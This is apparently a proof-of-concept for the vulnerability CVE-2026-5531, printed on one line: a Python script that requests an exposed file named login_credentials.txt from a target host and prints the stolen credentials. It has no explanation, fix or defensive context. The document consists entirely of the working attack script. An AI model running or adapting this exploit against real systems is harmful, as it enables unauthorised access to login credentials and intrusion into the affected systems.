CVE-2026-5531

import requests # Target URL containing the vulnerable file target_url = "http://target-ip/login_credentials.txt" try: # Send a GET request to retrieve the credentials file response = requests.get(target_url, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Successfully retrieved the credentials file:") print(response.text) else: print(f"[-] Failed to retrieve file. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

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